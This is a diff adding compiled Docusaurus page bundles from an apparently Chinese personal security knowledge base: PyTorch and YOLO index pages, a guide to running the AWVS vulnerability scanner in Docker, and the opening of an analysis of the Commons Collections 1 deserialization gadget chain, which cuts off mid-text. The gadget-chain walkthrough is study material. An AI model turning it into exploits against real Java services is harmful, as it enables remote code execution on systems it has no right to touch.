5VTv++wEP3FdjHkUmcW2g69/SIvkTdheKMnFkoDrwzQW0gY3AHkBblC9TFaa7oqPkHVXNIoFkuaw4hIY5XsFqOD4m2D1YXMDGJa05+e8HoGYlUyFCydRQfJgbC0rDGX+ZHRP4+LyybXGKaT9v1oZ/G2C9jO+DD3MsA7aZqacJwhRmfB+8d9zmb+n+B0V5njD0WPvrD3zMjvRdFIL4Br+PoEzeoCNN0Sxug9YilKb4n1dIJRV7fqmxuHwv7APSGbU41OBGzsmGjKE2gG1OIEx3sAcahmJVXehrZGbOXxVFxEuSkXwnpqqvzOybi4D22EAb2LUrnPI1lCI+bm5x2XfVMm8+LTrd7dL6FbpYnctXWwnTHe7nFf733w/oR9cqCNNS8c0LLhCtMBOHuK1ZBCpMdwhmR/r+CUF8kdrflOdhq66mDf/NoogV38Au3rXC+R5vzLfRw+p8fuoCYhw1+nJaggI7YE7mtIyc3lDEQb/gfu9lzxPjEyXoly6mqzvuO5YCGy8A3xxDvuq4BOkqpunuDhsdyOM+Lh9LPLseSxCmmA1kDEWt5igJ+sV8smXgtGTf92j2XZ+4wM3+Dj0Di8Mclw/m0kNHTZ29pOMSW6Zf2Iq10IM5XrBjky8uRig2djnHHp+XJ3RUjD+rbeTtUOzsaE93ZzRb38VInhXFxv2+y+xjEeaOTSrk6JiGq8cI4leHflOeIAiCaIU/9RcbCYIgiL8dSFAIgiCIViBBIQiCIFqBBIUgCIJoBRIUgiAIohVIUAiCIIhWIEEhCIIgWuH/AaoMe9UzVzPgAAAAAElFTkSuQmCC"}}]); \ No newline at end of file diff --git a/en/assets/js/b00967d9.531f2efd.js b/en/assets/js/b00967d9.531f2efd.js new file mode 100644 index 0000000..3467b2d --- /dev/null +++ b/en/assets/js/b00967d9.531f2efd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4596],{28453:(t,e,n)=>{n.d(e,{R:()=>o,x:()=>c});var r=n(96540);const s={},l=r.createContext(s);function o(t){const e=r.useContext(l);return r.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function c(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(s):t.components||s:o(t.components),r.createElement(l.Provider,{value:e},t.children)}},49514:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>i,contentTitle:()=>c,default:()=>a,frontMatter:()=>o,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README","title":"torch\u5b9e\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"yolov5_description.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description"},"next":{"title":"Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Perplexity Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605"}}');var s=n(74848),l=n(28453);const o={},c="torch\u5b9e\u73b0",i={},d=[];function h(t){const e={h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...t.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"torch\u5b9e\u73b0",children:"torch\u5b9e\u73b0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:39"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.p,{children:"\u8fd9\u662ftorch\u7248\u672c\u7684yolo\u89e3\u8bfb"})]})}function a(t={}){const{wrapper:e}={...(0,l.R)(),...t.components};return e?(0,s.jsx)(e,{...t,children:(0,s.jsx)(h,{...t})}):h(t)}}}]); \ No newline at end of file diff --git a/en/assets/js/b1ae1043.900aaaaf.js b/en/assets/js/b1ae1043.900aaaaf.js new file mode 100644 index 0000000..4d67797 --- /dev/null +++ b/en/assets/js/b1ae1043.900aaaaf.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1394],{28453:(e,s,n)=>{n.d(s,{R:()=>o,x:()=>d});var r=n(96540);const c={},t=r.createContext(c);function o(e){const s=r.useContext(t);return r.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function d(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:o(e.components),r.createElement(t.Provider,{value:s},e.children)}},57118:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>l,contentTitle:()=>d,default:()=>h,frontMatter:()=>o,metadata:()=>r,toc:()=>i});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","title":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/05.Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/05.Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/IDA Pro 9.0 \u4e2d\u6587\u7a33\u5b9a\u7248\uff0c\u4e00\u952e\u5b89\u88c5&\u63d2\u4ef6\u5168\u653b\u7565"},"next":{"title":"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","permalink":"/en/docs/personal/articles/free-chatgpt-go-one-year"}}');var c=n(74848),t=n(28453);const o={},d="Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs",l={},i=[{value:"Docker \u5b89\u88c5",id:"docker-\u5b89\u88c5",level:2},{value:"Awvs \u5b89\u88c5",id:"awvs-\u5b89\u88c5",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function a(e){const s={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,t.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(s.header,{children:(0,c.jsx)(s.h1,{id:"docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248awvs",children:"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,c.jsxs)(s.table,{children:[(0,c.jsx)(s.thead,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(s.tbody,{children:(0,c.jsxs)(s.tr,{children:[(0,c.jsx)(s.td,{style:{textAlign:"left"},children:(0,c.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(s.td,{style:{textAlign:"left"},children:"2025-11-09 02:45:27"})]})})]}),"\n",(0,c.jsxs)(s.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f ",(0,c.jsx)(s.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff01\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u7684\u662f ",(0,c.jsx)(s.code,{children:"awvs"}),"\u7684\u5feb\u901f\u90e8\u7f72\u65b9\u5f0f\uff0c",(0,c.jsx)(s.code,{children:"docker"}),"\u90e8\u7f72\uff0c\u65e0\u9700\u4fee\u6539\u4efb\u4f55\u914d\u7f6e\u5373\u53ef\u542f\u52a8 Awvs\u3002\u672c\u6587\u7ae0\u4f7f\u7528\u7684\u955c\u50cf\u662f\u5728",(0,c.jsx)(s.code,{children:"secfa/docker-awvs"}),"\uff0c\u652f\u6301\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u6ce8\u5165",(0,c.jsx)(s.strong,{children:"\u8d26\u6237"}),"\u548c",(0,c.jsx)(s.strong,{children:"\u5bc6\u7801"}),"\uff0c\u9ed8\u8ba4\u4e2d\u6587\u3002\u7528\u5230\u7684",(0,c.jsx)(s.strong,{children:"\u5b89\u88c5\u5305"}),"\u3001",(0,c.jsx)(s.strong,{children:"\u955c\u50cf"}),"\u3001\u4ee5\u53ca",(0,c.jsx)(s.strong,{children:"docker-compose.yml"}),"\uff0c\u5747\u5df2\u653e\u5728\u767e\u5ea6\u7f51\u76d8\uff0c\u5177\u4f53\u53ef\u5728\u6587\u7ae0\u672b\u5c3e\u83b7\u53d6\u4e0b\u8f7d\u5730\u5740\u3002\u597d\u4e86\u5e9f\u8bdd\u4e0d\u591a\u8bf4\u6211\u4eec\u6b63\u5f0f\u5f00\u59cb"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"image-20251109023655720",src:n(98276).A+"",width:"1418",height:"270"})}),"\n",(0,c.jsx)(s.h2,{id:"docker-\u5b89\u88c5",children:"Docker \u5b89\u88c5"}),"\n",(0,c.jsxs)(s.blockquote,{children:["\n",(0,c.jsx)(s.p,{children:"\u5982\u679c\u4f60\u5df2\u7ecf\u5b89\u88c5\u4e86docker \u53ef\u76f4\u63a5\u8df3\u8fc7\u8be5\u6b65\u9aa4\u3002"}),"\n"]}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.strong,{children:"macOS"})}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"brew install --cask docker\n"})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.strong,{children:"Linux"})}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"curl -fsSL https://get.docker.com -o get-docker.sh | sh\n"})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.strong,{children:"Windows"})}),"\n",(0,c.jsxs)(s.blockquote,{children:["\n",(0,c.jsx)(s.p,{children:"\u4ece\u7f51\u76d8\u4e2d\u53d6\u51fa docker \u5b89\u88c5\u5305\uff0c\u5e76\u53cc\u51fb\u5b89\u88c5"}),"\n"]}),"\n",(0,c.jsx)(s.h2,{id:"awvs-\u5b89\u88c5",children:"Awvs \u5b89\u88c5"}),"\n",(0,c.jsxs)(s.p,{children:["\u4ece\u7f51\u76d8\u4e2d\uff0c\u83b7\u53d6",(0,c.jsx)(s.strong,{children:"awvs"}),"\u76ee\u5f55\u4e0b\u7684",(0,c.jsx)(s.strong,{children:"docker-compose.yml"})]}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"cd awvs\ndocker compose build \n# \u4fee\u6539 \u6587\u4ef6\u4e2d\u7684 \u767b\u5f55\u8d26\u53f7\u548c\u5bc6\u7801\ndocker compose up -d\n"})}),"\n",(0,c.jsx)(s.pre,{children:(0,c.jsx)(s.code,{className:"language-sh",children:"# \u8bbf\u95ee URL \u5e76\u4f7f\u7528\u8d26\u6237\u5bc6\u7801\u767b\u5f55\u7cfb\u7edf\n\nhttps://127.0.0.1:13443/#/\n"})}),"\n",(0,c.jsx)(s.p,{children:(0,c.jsx)(s.img,{alt:"image-20251109015039560",src:n(97849).A+"",width:"2966",height:"1450"})}),"\n",(0,c.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,c.jsxs)(s.p,{children:["\u6211\u5728",(0,c.jsx)(s.code,{children:"secfa/docker-awvs"}),",\u955c\u50cf\u4e0a\u8d70\u4e86\u4fee\u6539\uff0c\u652f\u6301\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u4fee\u6539\u8d26\u6237\u5bc6\u7801\uff0c\u5e76\u4e14\u9ed8\u8ba4\u767b\u5f55\u4e3a\u4e2d\u6587\uff1b\u5982\u679c\u4f60\u60f3\u83b7\u53d6\u8be5",(0,c.jsx)(s.strong,{children:"docker-compose.yml"}),"\uff0c\u8bf7\u5173\u6ce8\u516c\u4f17\u53f7\uff0c\u5173\u952e\u5b57\u56de\u590d\u3010",(0,c.jsx)(s.strong,{children:"20251110"}),"\u3011"]})]})}function h(e={}){const{wrapper:s}={...(0,t.R)(),...e.components};return s?(0,c.jsx)(s,{...e,children:(0,c.jsx)(a,{...e})}):a(e)}},97849:(e,s,n)=>{n.d(s,{A:()=>r});const r=n.p+"assets/images/image-20251109015039560-184d3418e6a793ff2847089c104cf718.png"},98276:(e,s,n)=>{n.d(s,{A:()=>r});const r=n.p+"assets/images/image-20251109023655720-80ff63b976a5445e765eebdca6782f84.png"}}]); \ No newline at end of file diff --git a/en/assets/js/b4fde4cf.8dfb60e4.js b/en/assets/js/b4fde4cf.8dfb60e4.js new file mode 100644 index 0000000..74d6074 --- /dev/null +++ b/en/assets/js/b4fde4cf.8dfb60e4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6047],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}},54121:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>h,frontMatter:()=>c,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/README","title":"\u7b2c\u4e03\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"},"next":{"title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u4e03\u7ae0",d={},o=[];function a(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e03\u7ae0",children:"\u7b2c\u4e03\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e03\u7ae0pytorch\u53ef\u89c6\u5316",children:"\u7b2c\u4e03\u7ae0\uff1aPyTorch\u53ef\u89c6\u5316"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\n7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316\n7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\n7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\n7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\n"})})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/b61dea12.be0a3d09.js b/en/assets/js/b61dea12.be0a3d09.js new file mode 100644 index 0000000..9450bc4 --- /dev/null +++ b/en/assets/js/b61dea12.be0a3d09.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4383],{28453:(e,n,a)=>{a.d(n,{R:()=>o,x:()=>c});var t=a(96540);const r={},s=t.createContext(r);function o(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),t.createElement(s.Provider,{value:n},e.children)}},58325:(e,n,a)=>{a.r(n),a.d(n,{assets:()=>i,contentTitle:()=>c,default:()=>p,frontMatter:()=>o,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","title":"Apache Commons Collections 1","description":"\u5229\u7528\u94fe\u5206\u6790","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/01.CC1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/01.CC1.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/"},"next":{"title":"Apache Commons Collections 2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2"}}');var r=a(74848),s=a(28453);const o={},c="Apache Commons Collections 1",i={},l=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2},{value:"\u56fd\u5185",id:"\u56fd\u5185",level:3},{value:"\u56fd\u5916",id:"\u56fd\u5916",level:3},{value:"CC1\u5229\u7528\u6d41\u7a0b\u56fe",id:"cc1\u5229\u7528\u6d41\u7a0b\u56fe",level:2}];function m(e){const n={code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",ul:"ul",...(0,s.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"apache-commons-collections-1",children:"Apache Commons Collections 1"})}),"\n",(0,r.jsx)(n.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"InvokerTransformer"})," \u5bf9\u5176\u6076\u610f\u8c03\u7528\u65f6\u7528\u6cd5\u4e3a\uff0c\u5982\u56fe\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5bfb\u627e\u5176\u8c03\u7528transform\u65b9\u6cd5\u518d\u4f55\u5904\uff0c"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211826795.png-1",alt:"image-20221121161648490"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5176\u5b9e\u4e0d\u96be\u53d1\u73b0\uff0c\u8be5\u5305\u7c7b\u6709\u5f88\u591a\u5904\u90fd\u8c03\u7528\u4e86\u8be5\u65b9\u6cd5\uff0c\uff08",(0,r.jsx)(n.del,{children:"\u8fd9\u91cc\u6709\u4e24\u6761\u94fe\uff0c\u5148\u5206\u6790\u56fd\u5185\u8fd9\u6761\u94fe"}),"\uff09"]}),"\n",(0,r.jsx)(n.h3,{id:"\u56fd\u5185",children:"\u56fd\u5185"}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u4e2d\u5728\u8fd9checkSetValue\u4e2d"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211826797.png-1",alt:"image-20221121162007507"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u4e2a\u7c7b",(0,r.jsx)(n.code,{children:"TransformedMap"}),"\u4e2d\u53ef\u4ee5\u53d1\u73b0\u8c03\u7528\u4e86transform \u53ef\u4ee5\u770b\u4e00\u4e0b\u5176\u6784\u9020\u65b9\u6cd5\u4e2d \u53c2\u6570\u662f\u5426\u53ef\u63a7\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-java",children:"\n /**\n * Override to transform the value when using setValue.\n * \n * @param value the value to transform\n * @return the transformed value\n * @since Commons Collections 3.1\n */\n protected Object checkSetValue(Object value) {\n return valueTransformer.transform(value);\n }\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e2a\u7c7b \u5176\u5b9e\u662f\u5bf9 map \u7c7b\u7684 